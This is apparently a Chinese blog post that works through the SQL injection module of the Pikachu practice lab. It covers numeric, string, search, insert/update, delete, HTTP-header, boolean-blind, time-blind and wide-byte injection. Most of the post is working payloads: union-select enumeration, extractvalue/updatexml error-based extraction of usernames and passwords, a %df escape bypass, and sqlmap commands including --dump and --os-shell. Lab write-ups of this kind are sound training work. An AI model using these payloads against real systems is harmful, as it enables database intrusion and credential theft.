Pikachu靶场之SQL注入

Pikachu靶场之Sql注入

有关sql注入的想法

O select语句下的======搜索框之类需要查询语句的

先闭合后sql语句查询

-- q ==>注释后面的信息

order by 1 ==>查列名个数,主要服务于union select

union select database(),user() ==>查找数据库和用户

union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu' -- q ==>查表名

union select 1,group_concat(column_name) from information_schema.columns where table_name='users' -- q ==>查列名

union select group_concat(username),group_concat(password) from users -- q ==>查密码==>送入cmd5解析

 

O insert/delete语句下,无明显返回,常用报错注入

INSERT INTO member(username, ...) VALUES('{$username}', ...) ==>依旧闭合''

1. extractvalue函数,需要两个参数

1'or extractvalue(1, concat(0x7e,(select database()),0x7e)) or '

2. updatexml函数,需要三个参数

' and updatexml(1,concat(0x7e,user(),0x7e),1) and '

' or updatexml(1,concat(0x7e,(select user())),1) or '

' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')),1) or ' ==>后续步骤类似,查表名

username=' or updatexml(1,concat(0x7e,(select substring(group_concat(column_name),120,31) from information_schema.columns where table_name='users')),1) or ' ==>输出有限制的话,分批次

username=' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),32,31),0x7e),1) or ' ==>爆出具体信息

下面就是以上想法的应用实操啦

数字型注入

判断注入点

把接收到的请求送入bp的重放器,然后在id那里输入

or 1=1

显而易见id是传参的地方,所以1=1是永真值,如果爆出所有数据的话说明后端对数据的处理不太严谨

输入

id=1'

返回SQL报错

这里显然使用的是select语句===>联合查询union select

而union操作要求前后两个select语句必须拥有相同的列数,所以我们需要先用order by测出原始查询的列数,再去写列数匹配的union select

order by在数据库中不仅支持按列名排序,还支持按列索引排序。如果索引值(如order by 100)大于了实际查询的总列数,数据库就会报错。因此我们通过不断递增这个数字直到触发报错,就能反推出原始查询查了多少列。

image

 

先查列数

id=2 order by 2

正常返回

id=2 order by 3

出现错误

列数为2

后面就开始使用联合查询一步步探测出我们想要的数据。

先查数据库

id =2 union select database(),version() --

查表名

id=2 union select 1,table_name from information_schema.tables where table_schema='pikachu' -- 

查列名

id=2 union select 1,column_name from information_schema.columns where table_name='users' -- 

查字段

id=2 union select username,password from users -- 

再用cmd5解密一下就可以了

字符型注入

随便输入一个值后送入bp的重放器

通过 ' 测试注入点

查询语句

' order by 2 -- 

注意最后有空格

直接请求会返回badrequest,所以需要再url编码一下

' order by 3 -- 

所以列数为2

查数据库

' union select 1,database() -- 

image

 查表名

' union select 1,table_name from information_schema.tables where table_schema='pikachu' -- 

image

查列名

 ' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' -- 

查具体字段

' union select username,password from users -- 

 

搜索型注入

一般是比对值,和select语句有关,所以步骤和前面两个类似

测试注入点

查列数

' order by 2 -- 

' order by 3 -- 

' order by 4 -- 

需要三个字段

中间步骤省略了,和字符型注入一样,唯一区别就是这里需要三个字段

直接爆出具体数据

111' union select username,password,1 from users -- 

 

 

Xx型注入

照例随便输一个值后送入bp的重放器

根据异常判断注入闭合有’)

因为这里也是查询语句,所以依旧使用union select,需要url编码一下

判断列数

') order by 2 -- 

') order by 3 -- 

列数为2

爆出数据库

') union select 1,database() -- 

爆出表名,这里group_concat的作用是把他们拼接在一起输出

') union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu' -- 

爆出列名

') union select 1,group_concat(column_name) from information_schema.columns where table_name='users' -- 

爆出具体字段

‘) union select username,password from users -- 

 

Insert/update注入

根据提示注册一个账号

image

随便填值后送入bp

 判断注入点

image

 

image

 这里两个注入点应该都行,我用的的是username那里

注册使用的是insert语句,联合查询行不通,采用报错注入法

' or extractvalue(0x7e,concat(0x7e,(select database()))) or '

详细信息看这两篇

SQL注入(5):extractValue、updateXml报错注入 | IceWindy's Blog

SQL注入实战之报错注入篇(updatexml extractvalue floor) - 陈子硕 - 博客园

爆出表名

username=1'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')))or'

用group_concat是因为显示有多行,他只能输出一行

用substr控制输出的字符数,一次只能输出31个字符,然后慢慢移动,这里感觉用sqlmap会更简单,因为不用控制字段

爆出列名

username=1'and extractvalue(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),120,31) ))or'

爆出具体数据

username=1'and extractvalue(1,concat(0x7e,substr((select group_concat(username,':',password) from users),1,31) ))or'

 

Delete注入

发起删除请求时引发的SQL注入

抓包发现点击删除时会传入一个id值

测试注入点

因为delete语句本身不返回查询结果,所以这里采用报错注入,需要转一下url编码

这里传的id是整数型,不用闭合

爆出数据库

id=67 and extractvalue(1,concat(0x7e,database()))

爆出表名

id=67 or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')))

爆出列名

id=64 or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))

image

 

爆出具体数据

id=64 or extractvalue(1,concat(0x7e,(select concat(group_concat(username),':',group_concat(password)) from users)))

image

 

 

http header注入

登陆后发现它会返回ip地址,useragent,http accept,这里后端是获取浏览器信息并插入数据库,采用报错注入

测试注入点

发现两处注入点,这里以useragent为例,需要构造闭合

' or extractvalue(1,concat(0x7e,database())) or '

要把原数据删掉,不然会报

错误

剩下的类似

爆出具体数据

' or updatexml(1,concat(0x7e,substr((select group_concat(username,":",password) from users),1,31)),1) or '

 

布尔盲注

随便输入数据看返回值

像是在比对数据库的值,是查询语句,如果比对成功则返回

这里不能用order by语句,因为没有返回,只能通过unionselect一次次试出列数

' union select database(),version(),@@hostname -- 

没返回

' union select database(),version() -- 

故列数为2

爆出表名

' union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu' -- 

中间过程省略,爆出具体数据

' union select 1,group_concat(concat(username,':',password)) from users -- 

 

时间盲注

看了很多教程都没明白时间的判断,所以用自动化工具sqlmap

贴一下基本使用方法:

sqlmap

python sqlmap.py -r x.txt --batch

--dbs 查看数据库 -D选择数据库

--tables 查看表 -T选择表

--columns 查看列 -C选择列 用,隔开

--dump 查看数据

--sql-shell 进入sql的查询功能

--os-shell 提取权限,获取服务器的权限
--batch 自动选择

把bp捕获到的请求粘贴到和sqlmap.py同一目录的baseontime.txt文件下,后面的我截图截叉了,大家把id.txt改成baseontime.txt,每一步都要等挺久的

爆出数据库,这个时候还没改到同一目录

python sqlmap.py -r "D:\sqlmap\test\id.txt" –dbs

爆出表名

python sqlmap.py -r id.txt -D pikachu --tables

爆出列名

python sqlmap.py -r id.txt -D pikachu -T users --columns

爆出具体信息(这个时候截图是对的)

python sqlmap.py -r baseontime.txt -D pikachu -T users -C username,password --dump --batch

 

宽字节盲注

基本信息:

宽字节注入的原理:
  宽字节注入的核心在于MySQL对宽字节字符(如GBK编码)的解析方式与应用程序的过滤逻辑不一致,导致转义被绕过。
背景:字符编码与转义
  MySQL字符集:MySQL支持多种字符集,如UTF-8(多字节变长编码)、GBK(双字节编码,常见于中文环境)。
应用程序过滤:为了防止SQL注入,应用程序常对用户输入中的单引号(')进行转义,添加反斜杠(\),如:
  输入:admin'
  转义后:admin'
  SQL查询:SELECT * FROM users WHERE username = 'admin'';
问题:在GBK编码下,某些字节序列被解析为单个宽字节字符,导致转义失效。
GBK编码的特点
  GBK是双字节字符集,用于表示中文字符:
每个字符由两个字节组成。 第一个字节范围:
0x81-0xFE。 第二个字节范围:0x40-0xFE(部分范围)。 单引号'的ASCII编码为0x27,反斜杠\的ASCII编码为0x5C。 当应用程序添加反斜杠转义单引号(' -> 0x5C 0x27),MySQL在GBK模式下可能将0x5C 0x27解析为一个宽字节字符(而非')。 宽字节注入的触发 攻击者输入一个宽字节字符(如%df)后跟单引号':
示例:输入
%df'(URL编码),解码为0xDF 0x27。 应用程序转义:0xDF 0x27 -> 0xDF 0x5C 0x27(添加反斜杠)。 MySQL在GBK模式下: 0xDF 0x5C被解析为一个GBK字符(如運)。 剩下的0x27仍为单引号',未被转义。 结果:单引号未被正确转义,注入成功。

简而言之就是用 %df 来绕过对 ' 的转义

测试注入点

name=ddd%df' or 1=1 -- 

爆出具体数据

name=ddd%df' union select username,password from users -- 

 

总结

整体思路是

1.判断注入点

2.思考数据库逻辑。如果是使用查询语句的话,采用联合查询,先用order by判断列数;如果使用insert/delete语句的话,直接进入下一步

3.爆出数据库

4.爆出表名

5.爆出列名

6.爆出具体字段

当然还有一种方法是用sqlmap,具体的看时间盲注那里

 

以上就是我的pikachu靶场SQL注入模块的分享,感谢观看哈哈!

 

posted @ 2026-07-21 11:26  超级悠闲度过一天  阅读(1)  评论(0)    收藏  举报